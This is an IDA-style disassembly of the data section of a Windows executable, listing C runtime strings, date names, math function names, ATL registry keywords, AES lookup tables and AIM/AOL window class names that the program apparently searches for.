					; DATA XREF: sub_4232D1+2o
		align 10h
stru_42A470	_msEH <0FFFFFFFFh, offset loc_42383D, offset loc_423841>
					; DATA XREF: sub_423818+2o
		align 10h
stru_42A480	_msEH <0FFFFFFFFh, offset loc_42386A, offset loc_42386E>
					; DATA XREF: sub_42384D+2o
		align 10h
dbl_42A490	dq 0.0			; DATA XREF: sub_4239C1+6r
					; sub_424FC9+8Dr ...
dword_42A498	dd 30302B65h, 30h	; DATA XREF: sub_423A36+52o
dbl_42A4A0	dq 4.195835e6		; DATA XREF: sub_423D4B+Fr
dbl_42A4A8	dq 3.145727e6		; DATA XREF: sub_423D4B+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_423D8B+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_423D8Bo
		align 4
aProgram	db 'Program: ',0        ; DATA XREF: sub_423E1A+108o
		align 8
aABufferOverrun	db 'A buffer overrun has been detected which has corrupted the progra'
					; DATA XREF: sub_423E1A+62o
		db 'm',27h,'s',0Ah
		db 'internal state.  The program cannot safely continue execution and'
		db ' must',0Ah
		db 'now be terminated.',0Ah,0
aBufferOverrunD	db 'Buffer overrun detected!',0 ; DATA XREF: sub_423E1A:loc_423E77o
		align 8
aASecurityError	db 'A security error of unknown cause has been detected which has',0Ah
					; DATA XREF: sub_423E1A+4Co
		db 'corrupted the program',27h,'s internal state.  The program cannot sa'
		db 'fely',0Ah
		db 'continue execution and must now be terminated.',0Ah,0
		align 4
aUnknownSecurit	db 'Unknown security failure detected!',0 ; DATA XREF: sub_423E1A+47o
		align 10h
stru_42A680	_msEH <0FFFFFFFFh, offset loc_423E52, offset loc_423E56>
					; DATA XREF: sub_423E1A+5o
aInitializecrit	db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_423F72+2Do
		align 8
stru_42A6B8	_msEH <0FFFFFFFFh, offset loc_423FCF, offset loc_423FDD>
					; DATA XREF: sub_423F72+2o
		align 8
stru_42A6C8	_msEH <0FFFFFFFFh, 0, offset sub_4240F5> ; DATA	XREF: sub_424071+2o
		align 8
stru_42A6D8	_msEH <0FFFFFFFFh, offset loc_42438E, offset loc_424392>
					; DATA XREF: sub_4242B5+2o
		dd 6D3A4848h, 73733A6Dh, 0 ; DATA XREF:	.text:00433A40o
aDdddMmmmDdYyyy	db 'dddd, MMMM dd, yyyy',0 ; DATA XREF: .text:00433A3Co
aMmDdYy		db 'MM/dd/yy',0         ; DATA XREF: .text:00433A38o
		align 10h
aPm		db 'PM',0               ; DATA XREF: .text:00433A34o
		align 4
aAm		db 'AM',0               ; DATA XREF: .text:00433A30o
		align 4
aDecember	db 'December',0         ; DATA XREF: .text:00433A2Co
		align 4
aNovember	db 'November',0         ; DATA XREF: .text:00433A28o
		align 10h
aOctober	db 'October',0          ; DATA XREF: .text:00433A24o
aSeptember	db 'September',0        ; DATA XREF: .text:00433A20o
		align 4
aAugust		db 'August',0           ; DATA XREF: .text:00433A1Co
		align 4
aJuly		db 'July',0             ; DATA XREF: .text:00433A18o
		align 4
aJune		db 'June',0             ; DATA XREF: .text:00433A14o
		align 4
aApril		db 'April',0            ; DATA XREF: .text:00433A0Co
		align 4
aMarch		db 'March',0            ; DATA XREF: .text:00433A08o
		align 4
aFebruary	db 'February',0         ; DATA XREF: .text:00433A04o
		align 4
aJanuary	db 'January',0          ; DATA XREF: .text:00433A00o
aSaturday	db 'Saturday',0         ; DATA XREF: .text:004339CCo
		align 4
aFriday		db 'Friday',0           ; DATA XREF: .text:004339C8o
		align 4
aThursday	db 'Thursday',0         ; DATA XREF: .text:004339C4o
		align 10h
aWednesday	db 'Wednesday',0        ; DATA XREF: .text:004339C0o
		align 4
aTuesday	db 'Tuesday',0          ; DATA XREF: .text:004339BCo
aMonday		db 'Monday',0           ; DATA XREF: .text:004339B8o
		align 4
aSunday		db 'Sunday',0           ; DATA XREF: .text:004339B4o
		align 4
aSat		db 'Sat',0              ; DATA XREF: .text:004339B0o
aFri		db 'Fri',0              ; DATA XREF: .text:004339ACo
aThu		db 'Thu',0              ; DATA XREF: .text:004339A8o
aWed		db 'Wed',0              ; DATA XREF: .text:004339A4o
aTue		db 'Tue',0              ; DATA XREF: .text:004339A0o
aMon		db 'Mon',0              ; DATA XREF: .text:0043399Co
aSun		db 'Sun',0              ; DATA XREF: .text:off_433998o
stru_42A7E0	_msEH <0FFFFFFFFh, 0, offset sub_424A17> ; DATA	XREF: sub_4249B4+2o
		align 10h
stru_42A7F0	_msEH <0FFFFFFFFh, 0, offset sub_424CFA> ; DATA	XREF: sub_424BB3+2o
a_nextafter	db '_nextafter',0
		align 4
a_logb		db '_logb',0
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aFabs		db 'fabs',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 10h
aAtan2		db 'atan2',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
stru_42A890	_msEH <0FFFFFFFFh, 0, offset sub_425660> ; DATA	XREF: .text:004255D0o
		align 10h
stru_42A8A0	_msEH <0FFFFFFFFh, 0, offset sub_425839> ; DATA	XREF: sub_4257A5+2o
		align 10h
stru_42A8B0	_msEH <0FFFFFFFFh, 0, offset sub_4259DA> ; DATA	XREF: sub_425867+2o
		dd 2 dup(0)
		dd offset sub_42593A
stru_42A8C8	_msEH <0FFFFFFFFh, 0, offset sub_425A80> ; DATA	XREF: sub_4259E3+2o
		align 8
stru_42A8D8	_msEH <0FFFFFFFFh, offset loc_425BB4, offset loc_425BB8>
					; DATA XREF: sub_425AE2+2o
aGetprocesswind	db 'GetProcessWindowStation',0 ; DATA XREF: sub_426724+73o
aGetuserobjecti	db 'GetUserObjectInformationA',0 ; DATA XREF: sub_426724+62o
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_426724+47o
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_426724+3Fo
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_426724+2Eo
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_426724+13o
		align 4
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 8
stru_42A998	_msEH <0FFFFFFFFh, 0, offset sub_4273C4> ; DATA	XREF: sub_427291+2o
dword_42A9A4	dd 4E512331h, 4E41h	; DATA XREF: sub_42740A:loc_4274F6o
dword_42A9AC	dd 4E492331h, 46h	; DATA XREF: sub_42740A+CFo
dword_42A9B4	dd 4E492331h, 44h	; DATA XREF: sub_42740A+BEo
dword_42A9BC	dd 4E532331h, 4E41h	; DATA XREF: sub_42740A+A4o
off_42A9C4	dd offset sub_4016AD	; DATA XREF: sub_401672+18o
		dd offset sub_408B3D
		dd offset nullsub_3
aVectorTTooLong	db 'vector<T> too long',0 ; DATA XREF: sub_40C38F+Do
		align 4
aSmarterchild	db 'SmarterChild',0     ; DATA XREF: sub_4013EC+1E2o
		align 4
aShoppingbuddy	db 'ShoppingBuddy',0    ; DATA XREF: sub_4013EC+1CEo
		align 4
aMoviefone	db 'Moviefone',0        ; DATA XREF: sub_4013EC+1BAo
		align 10h
a_oscar_tree	db '_Oscar_Tree',0      ; DATA XREF: sub_4013EC+5Eo
aAolmail	db 'AOLMAIL',0          ; DATA XREF: sub_401236+ECo
					; sub_401236+151o ...
aAte32class	db 'Ate32Class',0       ; DATA XREF: sub_401236+C2o
					; sub_416362+24o
		align 10h
aCbclass	db 'CBClass',0          ; DATA XREF: sub_401236+ABo
aWndate32class	db 'WndAte32Class',0    ; DATA XREF: sub_401236+90o
		align 4
a_oscar_persist	db '_Oscar_PersistantCombo',0 ; DATA XREF: sub_401236+54o
		align 10h
aAim_imessage	db 'AIM_IMessage',0     ; DATA XREF: sub_401236+34o
		align 10h
a_aimad		db '_AimAd',0           ; DATA XREF: sub_4011D1+43o
		align 4
a32770		db '#32770',0           ; DATA XREF: sub_4011D1+30o
					; sub_4013EC+50o
		align 10h
a_oscar_statusn	db '_Oscar_StatusNotify',0 ; DATA XREF: sub_4011B2+3o
		align 8
		dd offset aS_0		; "S"
		dd offset aM		; "M"
		dd offset aD_0		; "D"
		dd offset aB		; "B"
		dd offset aVal		; "Val"
		dd offset aForceremove	; "ForceRemove"
		dd offset aNoremove	; "NoRemove"
		dd offset aDelete	; "Delete"
		dd offset aS_0		; "S"
		dd offset aM		; "M"
		dd offset aD_0		; "D"
		dd offset aB		; "B"
		dd offset aVal		; "Val"
		dd offset aForceremove	; "ForceRemove"
		dd offset aNoremove	; "NoRemove"
		dd offset aDelete	; "Delete"
		dd offset aS_0		; "S"
		dd offset aM		; "M"
		dd offset aD_0		; "D"
		dd offset aB		; "B"
		dd offset aVal		; "Val"
		dd offset aForceremove	; "ForceRemove"
		dd offset aNoremove	; "NoRemove"
		dd offset aDelete	; "Delete"
		dd offset aS_0		; "S"
		dd offset aM		; "M"
		dd offset aD_0		; "D"
		dd offset aB		; "B"
		dd offset aVal		; "Val"
		dd offset aForceremove	; "ForceRemove"
		dd offset aNoremove	; "NoRemove"
		dd offset aDelete	; "Delete"
		dd offset aS_0		; "S"
		dd offset aM		; "M"
		dd offset aD_0		; "D"
		dd offset aB		; "B"
		dd offset aVal		; "Val"
		dd offset aForceremove	; "ForceRemove"
		dd offset aNoremove	; "NoRemove"
		dd offset aDelete	; "Delete"
		dd offset aS_0		; "S"
		dd offset aM		; "M"
		dd offset aD_0		; "D"
		dd offset aB		; "B"
		dd offset aVal		; "Val"
		dd offset aForceremove	; "ForceRemove"
		dd offset aNoremove	; "NoRemove"
		dd offset aDelete	; "Delete"
		dd offset aS_0		; "S"
		dd offset aM		; "M"
		dd offset aD_0		; "D"
		dd offset aB		; "B"
		dd offset aVal		; "Val"
		dd offset aForceremove	; "ForceRemove"
		dd offset aNoremove	; "NoRemove"
		dd offset aDelete	; "Delete"
		dd offset aS_0		; "S"
		dd offset aM		; "M"
		dd offset aD_0		; "D"
		dd offset aB		; "B"
		dd offset aVal		; "Val"
		dd offset aForceremove	; "ForceRemove"
		dd offset aNoremove	; "NoRemove"
		dd offset aDelete	; "Delete"
		dd offset aS_0		; "S"
		dd offset aM		; "M"
		dd offset aD_0		; "D"
		dd offset aB		; "B"
		dd offset aVal		; "Val"
		dd offset aForceremove	; "ForceRemove"
		dd offset aNoremove	; "NoRemove"
		dd offset aDelete	; "Delete"
		dd offset aS_0		; "S"
		dd offset aM		; "M"
		dd offset aD_0		; "D"
		dd offset aB		; "B"
		dd offset aVal		; "Val"
		dd offset aForceremove	; "ForceRemove"
		dd offset aNoremove	; "NoRemove"
		dd offset aDelete	; "Delete"
dword_42ABD8	dd 10101011h, 42FD08h, 42FD04h,	42FD00h, 42FCFCh, 42FCF8h
					; DATA XREF: sub_40DB56+1CBo
		dd 42FCECh, 42FCE0h, 42FCD8h, 42FD08h, 42FD04h,	42FD00h
		dd 42FCFCh, 42FCF8h, 42FCECh, 42FCE0h, 42FCD8h,	42FD08h
		dd 42FD04h, 42FD00h, 42FCFCh, 42FCF8h, 42FCECh,	42FCE0h
		dd 42FCD8h, 42FD08h, 42FD04h, 42FD00h, 42FCFCh,	42FCF8h
		dd 42FCECh, 42FCE0h, 42FCD8h, 0
dword_42AC60	dd 1			; DATA XREF: sub_41B3D5+1A8r
					; sub_41B3D5+2CAr ...
		dd 2, 4, 8, 10h, 20h, 40h, 80h,	1Bh, 36h, 6Ch, 0D8h, 0ABh
		dd 4Dh,	9Ah, 2Fh, 5Eh, 0BCh, 63h, 0C6h,	97h, 35h, 6Ah
		dd 0D4h, 0B3h, 7Dh, 0FAh, 0EFh,	0C5h, 0
dword_42ACD8	dd 0A56363C6h		; DATA XREF: sub_41954F+175r
					; sub_41954F+1B5r ...
		dd 847C7CF8h, 997777EEh, 8D7B7BF6h, 0DF2F2FFh, 0BD6B6BD6h
		dd 0B16F6FDEh, 54C5C591h, 50303060h, 3010102h, 0A96767CEh
		dd 7D2B2B56h, 19FEFEE7h, 62D7D7B5h, 0E6ABAB4Dh,	9A7676ECh
		dd 45CACA8Fh, 9D82821Fh, 40C9C989h, 877D7DFAh, 15FAFAEFh
		dd 0EB5959B2h, 0C947478Eh, 0BF0F0FBh, 0ECADAD41h, 67D4D4B3h
		dd 0FDA2A25Fh, 0EAAFAF45h, 0BF9C9C23h, 0F7A4A453h, 967272E4h
		dd 5BC0C09Bh, 0C2B7B775h, 1CFDFDE1h, 0AE93933Dh, 6A26264Ch
		dd 5A36366Ch, 413F3F7Eh, 2F7F7F5h, 4FCCCC83h, 5C343468h
		dd 0F4A5A551h, 34E5E5D1h, 8F1F1F9h, 937171E2h, 73D8D8ABh
		dd 53313162h, 3F15152Ah, 0C040408h, 52C7C795h, 65232346h
		dd 5EC3C39Dh, 28181830h, 0A1969637h, 0F05050Ah,	0B59A9A2Fh
		dd 907070Eh, 36121224h,	9B80801Bh, 3DE2E2DFh, 26EBEBCDh
		dd 6927274Eh, 0CDB2B27Fh, 9F7575EAh, 1B090912h,	9E83831Dh
		dd 742C2C58h, 2E1A1A34h, 2D1B1B36h, 0B26E6EDCh,	0EE5A5AB4h
		dd 0FBA0A05Bh, 0F65252A4h, 4D3B3B76h, 61D6D6B7h, 0CEB3B37Dh
		dd 7B292952h, 3EE3E3DDh, 712F2F5Eh, 97848413h, 0F55353A6h
		dd 68D1D1B9h, 0
		dd 2CEDEDC1h, 60202040h, 1FFCFCE3h, 0C8B1B179h,	0ED5B5BB6h
		dd 0BE6A6AD4h, 46CBCB8Dh, 0D9BEBE67h, 4B393972h, 0DE4A4A94h
		dd 0D44C4C98h, 0E85858B0h, 4ACFCF85h, 6BD0D0BBh, 2AEFEFC5h
		dd 0E5AAAA4Fh, 16FBFBEDh, 0C5434386h, 0D74D4D9Ah, 55333366h
		dd 94858511h, 0CF45458Ah, 10F9F9E9h, 6020204h, 817F7FFEh
		dd 0F05050A0h, 443C3C78h, 0BA9F9F25h, 0E3A8A84Bh, 0F35151A2h
		dd 0FEA3A35Dh, 0C0404080h, 8A8F8F05h, 0AD92923Fh, 0BC9D9D21h
		dd 48383870h, 4F5F5F1h,	0DFBCBC63h, 0C1B6B677h,	75DADAAFh
		dd 63212142h, 30101020h, 1AFFFFE5h, 0EF3F3FDh, 6DD2D2BFh
		dd 4CCDCD81h, 140C0C18h, 35131326h, 2FECECC3h, 0E15F5FBEh
		dd 0A2979735h, 0CC444488h, 3917172Eh, 57C4C493h, 0F2A7A755h
		dd 827E7EFCh, 473D3D7Ah, 0AC6464C8h, 0E75D5DBAh, 2B191932h
		dd 957373E6h, 0A06060C0h, 98818119h, 0D14F4F9Eh, 7FDCDCA3h
		dd 66222244h, 7E2A2A54h, 0AB90903Bh, 8388880Bh,	0CA46468Ch
		dd 29EEEEC7h, 0D3B8B86Bh, 3C141428h, 79DEDEA7h,	0E25E5EBCh
		dd 1D0B0B16h, 76DBDBADh, 3BE0E0DBh, 56323264h, 4E3A3A74h
		dd 1E0A0A14h, 0DB494992h, 0A06060Ch, 6C242448h,	0E45C5CB8h
		dd 5DC2C29Fh, 6ED3D3BDh, 0EFACAC43h, 0A66262C4h, 0A8919139h
		dd 0A4959531h, 37E4E4D3h, 8B7979F2h, 32E7E7D5h,	43C8C88Bh
		dd 5937376Eh, 0B76D6DDAh, 8C8D8D01h, 64D5D5B1h,	0D24E4E9Ch
		dd 0E0A9A949h, 0B46C6CD8h, 0FA5656ACh, 7F4F4F3h, 25EAEACFh
		dd 0AF6565CAh, 8E7A7AF4h, 0E9AEAE47h, 18080810h, 0D5BABA6Fh
		dd 887878F0h, 6F25254Ah, 722E2E5Ch, 241C1C38h, 0F1A6A657h
		dd 0C7B4B473h, 51C6C697h, 23E8E8CBh, 7CDDDDA1h,	9C7474E8h
		dd 211F1F3Eh, 0DD4B4B96h, 0DCBDBD61h, 868B8B0Dh, 858A8A0Fh
		dd 907070E0h, 423E3E7Ch, 0C4B5B571h, 0AA6666CCh, 0D8484890h
		dd 5030306h, 1F6F6F7h, 120E0E1Ch, 0A36161C2h, 5F35356Ah
		dd 0F95757AEh, 0D0B9B969h, 91868617h, 58C1C199h, 271D1D3Ah
		dd 0B99E9E27h, 38E1E1D9h, 13F8F8EBh, 0B398982Bh, 33111122h
		dd 0BB6969D2h, 70D9D9A9h, 898E8E07h, 0A7949433h, 0B69B9B2Dh
		dd 221E1E3Ch, 92878715h, 20E9E9C9h, 49CECE87h, 0FF5555AAh
		dd 78282850h, 7ADFDFA5h, 8F8C8C03h, 0F8A1A159h,	80898909h
		dd 170D0D1Ah, 0DABFBF65h, 31E6E6D7h, 0C6424284h, 0B86868D0h
		dd 0C3414182h, 0B0999929h, 772D2D5Ah, 110F0F1Eh, 0CBB0B07Bh
		dd 0FC5454A8h, 0D6BBBB6Dh, 3A16162Ch
dword_42B0D8	dd 6363C6A5h		; DATA XREF: sub_41954F+16Ar
					; sub_41954F+1ABr ...
		dd 7C7CF884h, 7777EE99h, 7B7BF68Dh, 0F2F2FF0Dh,	6B6BD6BDh
		dd 6F6FDEB1h, 0C5C59154h, 30306050h, 1010203h, 6767CEA9h
		dd 2B2B567Dh, 0FEFEE719h, 0D7D7B562h, 0ABAB4DE6h, 7676EC9Ah
		dd 0CACA8F45h, 82821F9Dh, 0C9C98940h, 7D7DFA87h, 0FAFAEF15h
		dd 5959B2EBh, 47478EC9h, 0F0F0FB0Bh, 0ADAD41ECh, 0D4D4B367h
		dd 0A2A25FFDh, 0AFAF45EAh, 9C9C23BFh, 0A4A453F7h, 7272E496h
		dd 0C0C09B5Bh, 0B7B775C2h, 0FDFDE11Ch, 93933DAEh, 26264C6Ah
		dd 36366C5Ah, 3F3F7E41h, 0F7F7F502h, 0CCCC834Fh, 3434685Ch
		dd 0A5A551F4h, 0E5E5D134h, 0F1F1F908h, 7171E293h, 0D8D8AB73h
		dd 31316253h, 15152A3Fh, 404080Ch, 0C7C79552h, 23234665h
		dd 0C3C39D5Eh, 18183028h, 969637A1h, 5050A0Fh, 9A9A2FB5h
		dd 7070E09h, 12122436h,	80801B9Bh, 0E2E2DF3Dh, 0EBEBCD26h
		dd 27274E69h, 0B2B27FCDh, 7575EA9Fh, 909121Bh, 83831D9Eh
		dd 2C2C5874h, 1A1A342Eh, 1B1B362Dh, 6E6EDCB2h, 5A5AB4EEh
		dd 0A0A05BFBh, 5252A4F6h, 3B3B764Dh, 0D6D6B761h, 0B3B37DCEh
		dd 2929527Bh, 0E3E3DD3Eh, 2F2F5E71h, 84841397h,	5353A6F5h
		dd 0D1D1B968h, 0
		dd 0EDEDC12Ch, 20204060h, 0FCFCE31Fh, 0B1B179C8h, 5B5BB6EDh
		dd 6A6AD4BEh, 0CBCB8D46h, 0BEBE67D9h, 3939724Bh, 4A4A94DEh
		dd 4C4C98D4h, 5858B0E8h, 0CFCF854Ah, 0D0D0BB6Bh, 0EFEFC52Ah
		dd 0AAAA4FE5h, 0FBFBED16h, 434386C5h, 4D4D9AD7h, 33336655h
		dd 85851194h, 45458ACFh, 0F9F9E910h, 2020406h, 7F7FFE81h
		dd 5050A0F0h, 3C3C7844h, 9F9F25BAh, 0A8A84BE3h,	5151A2F3h
		dd 0A3A35DFEh, 404080C0h, 8F8F058Ah, 92923FADh,	9D9D21BCh
		dd 38387048h, 0F5F5F104h, 0BCBC63DFh, 0B6B677C1h, 0DADAAF75h
		dd 21214263h, 10102030h, 0FFFFE51Ah, 0F3F3FD0Eh, 0D2D2BF6Dh
		dd 0CDCD814Ch, 0C0C1814h, 13132635h, 0ECECC32Fh, 5F5FBEE1h
		dd 979735A2h, 444488CCh, 17172E39h, 0C4C49357h,	0A7A755F2h
		dd 7E7EFC82h, 3D3D7A47h, 6464C8ACh, 5D5DBAE7h, 1919322Bh
		dd 7373E695h, 6060C0A0h, 81811998h, 4F4F9ED1h, 0DCDCA37Fh
		dd 22224466h, 2A2A547Eh, 90903BABh, 88880B83h, 46468CCAh
		dd 0EEEEC729h, 0B8B86BD3h, 1414283Ch, 0DEDEA779h, 5E5EBCE2h
		dd 0B0B161Dh, 0DBDBAD76h, 0E0E0DB3Bh, 32326456h, 3A3A744Eh
		dd 0A0A141Eh, 494992DBh, 6060C0Ah, 2424486Ch, 5C5CB8E4h
		dd 0C2C29F5Dh, 0D3D3BD6Eh, 0ACAC43EFh, 6262C4A6h, 919139A8h
		dd 959531A4h, 0E4E4D337h, 7979F28Bh, 0E7E7D532h, 0C8C88B43h
		dd 37376E59h, 6D6DDAB7h, 8D8D018Ch, 0D5D5B164h,	4E4E9CD2h
		dd 0A9A949E0h, 6C6CD8B4h, 5656ACFAh, 0F4F4F307h, 0EAEACF25h
		dd 6565CAAFh, 7A7AF48Eh, 0AEAE47E9h, 8081018h, 0BABA6FD5h
		dd 7878F088h, 25254A6Fh, 2E2E5C72h, 1C1C3824h, 0A6A657F1h
		dd 0B4B473C7h, 0C6C69751h, 0E8E8CB23h, 0DDDDA17Ch, 7474E89Ch
		dd 1F1F3E21h, 4B4B96DDh, 0BDBD61DCh, 8B8B0D86h,	8A8A0F85h
		dd 7070E090h, 3E3E7C42h, 0B5B571C4h, 6666CCAAh,	484890D8h
		dd 3030605h, 0F6F6F701h, 0E0E1C12h, 6161C2A3h, 35356A5Fh
		dd 5757AEF9h, 0B9B969D0h, 86861791h, 0C1C19958h, 1D1D3A27h
		dd 9E9E27B9h, 0E1E1D938h, 0F8F8EB13h, 98982BB3h, 11112233h
		dd 6969D2BBh, 0D9D9A970h, 8E8E0789h, 949433A7h,	9B9B2DB6h
		dd 1E1E3C22h, 87871592h, 0E9E9C920h, 0CECE8749h, 5555AAFFh
		dd 28285078h, 0DFDFA57Ah, 8C8C038Fh, 0A1A159F8h, 89890980h
		dd 0D0D1A17h, 0BFBF65DAh, 0E6E6D731h, 424284C6h, 6868D0B8h
		dd 414182C3h, 999929B0h, 2D2D5A77h, 0F0F1E11h, 0B0B07BCBh
		dd 5454A8FCh, 0BBBB6DD6h, 16162C3Ah
dword_42B4D8	dd 63C6A563h		; DATA XREF: sub_41954F+160r
					; sub_41954F+1A1r ...
		dd 7CF8847Ch, 77EE9977h, 7BF68D7Bh, 0F2FF0DF2h,	6BD6BD6Bh
		dd 6FDEB16Fh, 0C59154C5h, 30605030h, 1020301h, 67CEA967h
		dd 2B567D2Bh, 0FEE719FEh, 0D7B562D7h, 0AB4DE6ABh, 76EC9A76h
		dd 0CA8F45CAh, 821F9D82h, 0C98940C9h, 7DFA877Dh, 0FAEF15FAh
		dd 59B2EB59h, 478EC947h, 0F0FB0BF0h, 0AD41ECADh, 0D4B367D4h
		dd 0A25FFDA2h, 0AF45EAAFh, 9C23BF9Ch, 0A453F7A4h, 72E49672h
		dd 0C09B5BC0h, 0B775C2B7h, 0FDE11CFDh, 933DAE93h, 264C6A26h
		dd 366C5A36h, 3F7E413Fh, 0F7F502F7h, 0CC834FCCh, 34685C34h
		dd 0A551F4A5h, 0E5D134E5h, 0F1F908F1h, 71E29371h, 0D8AB73D8h
		dd 31625331h, 152A3F15h, 4080C04h, 0C79552C7h, 23466523h
		dd 0C39D5EC3h, 18302818h, 9637A196h, 50A0F05h, 9A2FB59Ah
		dd 70E0907h, 12243612h,	801B9B80h, 0E2DF3DE2h, 0EBCD26EBh
		dd 274E6927h, 0B27FCDB2h, 75EA9F75h, 9121B09h, 831D9E83h
		dd 2C58742Ch, 1A342E1Ah, 1B362D1Bh, 6EDCB26Eh, 5AB4EE5Ah
		dd 0A05BFBA0h, 52A4F652h, 3B764D3Bh, 0D6B761D6h, 0B37DCEB3h
		dd 29527B29h, 0E3DD3EE3h, 2F5E712Fh, 84139784h,	53A6F553h
		dd 0D1B968D1h, 0
		dd 0EDC12CEDh, 20406020h, 0FCE31FFCh, 0B179C8B1h, 5BB6ED5Bh
		dd 6AD4BE6Ah, 0CB8D46CBh, 0BE67D9BEh, 39724B39h, 4A94DE4Ah
		dd 4C98D44Ch, 58B0E858h, 0CF854ACFh, 0D0BB6BD0h, 0EFC52AEFh
		dd 0AA4FE5AAh, 0FBED16FBh, 4386C543h, 4D9AD74Dh, 33665533h
		dd 85119485h, 458ACF45h, 0F9E910F9h, 2040602h, 7FFE817Fh
		dd 50A0F050h, 3C78443Ch, 9F25BA9Fh, 0A84BE3A8h,	51A2F351h
		dd 0A35DFEA3h, 4080C040h, 8F058A8Fh, 923FAD92h,	9D21BC9Dh
		dd 38704838h, 0F5F104F5h, 0BC63DFBCh, 0B677C1B6h, 0DAAF75DAh
		dd 21426321h, 10203010h, 0FFE51AFFh, 0F3FD0EF3h, 0D2BF6DD2h
		dd 0CD814CCDh, 0C18140Ch, 13263513h, 0ECC32FECh, 5FBEE15Fh
		dd 9735A297h, 4488CC44h, 172E3917h, 0C49357C4h,	0A755F2A7h
		dd 7EFC827Eh, 3D7A473Dh, 64C8AC64h, 5DBAE75Dh, 19322B19h
		dd 73E69573h, 60C0A060h, 81199881h, 4F9ED14Fh, 0DCA37FDCh
		dd 22446622h, 2A547E2Ah, 903BAB90h, 880B8388h, 468CCA46h
		dd 0EEC729EEh, 0B86BD3B8h, 14283C14h, 0DEA779DEh, 5EBCE25Eh
		dd 0B161D0Bh, 0DBAD76DBh, 0E0DB3BE0h, 32645632h, 3A744E3Ah
		dd 0A141E0Ah, 4992DB49h, 60C0A06h, 24486C24h, 5CB8E45Ch
		dd 0C29F5DC2h, 0D3BD6ED3h, 0AC43EFACh, 62C4A662h, 9139A891h
		dd 9531A495h, 0E4D337E4h, 79F28B79h, 0E7D532E7h, 0C88B43C8h
		dd 376E5937h, 6DDAB76Dh, 8D018C8Dh, 0D5B164D5h,	4E9CD24Eh
		dd 0A949E0A9h, 6CD8B46Ch, 56ACFA56h, 0F4F307F4h, 0EACF25EAh
		dd 65CAAF65h, 7AF48E7Ah, 0AE47E9AEh, 8101808h, 0BA6FD5BAh
		dd 78F08878h, 254A6F25h, 2E5C722Eh, 1C38241Ch, 0A657F1A6h
		dd 0B473C7B4h, 0C69751C6h, 0E8CB23E8h, 0DDA17CDDh, 74E89C74h
		dd 1F3E211Fh, 4B96DD4Bh, 0BD61DCBDh, 8B0D868Bh,	8A0F858Ah
		dd 70E09070h, 3E7C423Eh, 0B571C4B5h, 66CCAA66h,	4890D848h
		dd 3060503h, 0F6F701F6h, 0E1C120Eh, 61C2A361h, 356A5F35h
		dd 57AEF957h, 0B969D0B9h, 86179186h, 0C19958C1h, 1D3A271Dh
		dd 9E27B99Eh, 0E1D938E1h, 0F8EB13F8h, 982BB398h, 11223311h
		dd 69D2BB69h, 0D9A970D9h, 8E07898Eh, 9433A794h,	9B2DB69Bh
		dd 1E3C221Eh, 87159287h, 0E9C920E9h, 0CE8749CEh, 55AAFF55h
		dd 28507828h, 0DFA57ADFh, 8C038F8Ch, 0A159F8A1h, 89098089h
		dd 0D1A170Dh, 0BF65DABFh, 0E6D731E6h, 4284C642h, 68D0B868h
		dd 4182C341h, 9929B099h, 2D5A772Dh, 0F1E110Fh, 0B07BCBB0h
		dd 54A8FC54h, 0BB6DD6BBh, 162C3A16h
dword_42B8D8	dd 0C6A56363h		; DATA XREF: sub_41954F+145r
					; sub_41954F+188r ...
		dd 0F8847C7Ch, 0EE997777h, 0F68D7B7Bh, 0FF0DF2F2h, 0D6BD6B6Bh
		dd 0DEB16F6Fh, 9154C5C5h, 60503030h, 2030101h, 0CEA96767h
		dd 567D2B2Bh, 0E719FEFEh, 0B562D7D7h, 4DE6ABABh, 0EC9A7676h
		dd 8F45CACAh, 1F9D8282h, 8940C9C9h, 0FA877D7Dh,	0EF15FAFAh
		dd 0B2EB5959h, 8EC94747h, 0FB0BF0F0h, 41ECADADh, 0B367D4D4h
		dd 5FFDA2A2h, 45EAAFAFh, 23BF9C9Ch, 53F7A4A4h, 0E4967272h
		dd 9B5BC0C0h, 75C2B7B7h, 0E11CFDFDh, 3DAE9393h,	4C6A2626h
		dd 6C5A3636h, 7E413F3Fh, 0F502F7F7h, 834FCCCCh,	685C3434h
		dd 51F4A5A5h, 0D134E5E5h, 0F908F1F1h, 0E2937171h, 0AB73D8D8h
		dd 62533131h, 2A3F1515h, 80C0404h, 9552C7C7h, 46652323h
		dd 9D5EC3C3h, 30281818h, 37A19696h, 0A0F0505h, 2FB59A9Ah
		dd 0E090707h, 24361212h, 1B9B8080h, 0DF3DE2E2h,	0CD26EBEBh
		dd 4E692727h, 7FCDB2B2h, 0EA9F7575h, 121B0909h,	1D9E8383h
		dd 58742C2Ch, 342E1A1Ah, 362D1B1Bh, 0DCB26E6Eh,	0B4EE5A5Ah
		dd 5BFBA0A0h, 0A4F65252h, 764D3B3Bh, 0B761D6D6h, 7DCEB3B3h
		dd 527B2929h, 0DD3EE3E3h, 5E712F2Fh, 13978484h,	0A6F55353h
		dd 0B968D1D1h, 0
		dd 0C12CEDEDh, 40602020h, 0E31FFCFCh, 79C8B1B1h, 0B6ED5B5Bh
		dd 0D4BE6A6Ah, 8D46CBCBh, 67D9BEBEh, 724B3939h,	94DE4A4Ah
		dd 98D44C4Ch, 0B0E85858h, 854ACFCFh, 0BB6BD0D0h, 0C52AEFEFh
		dd 4FE5AAAAh, 0ED16FBFBh, 86C54343h, 9AD74D4Dh,	66553333h
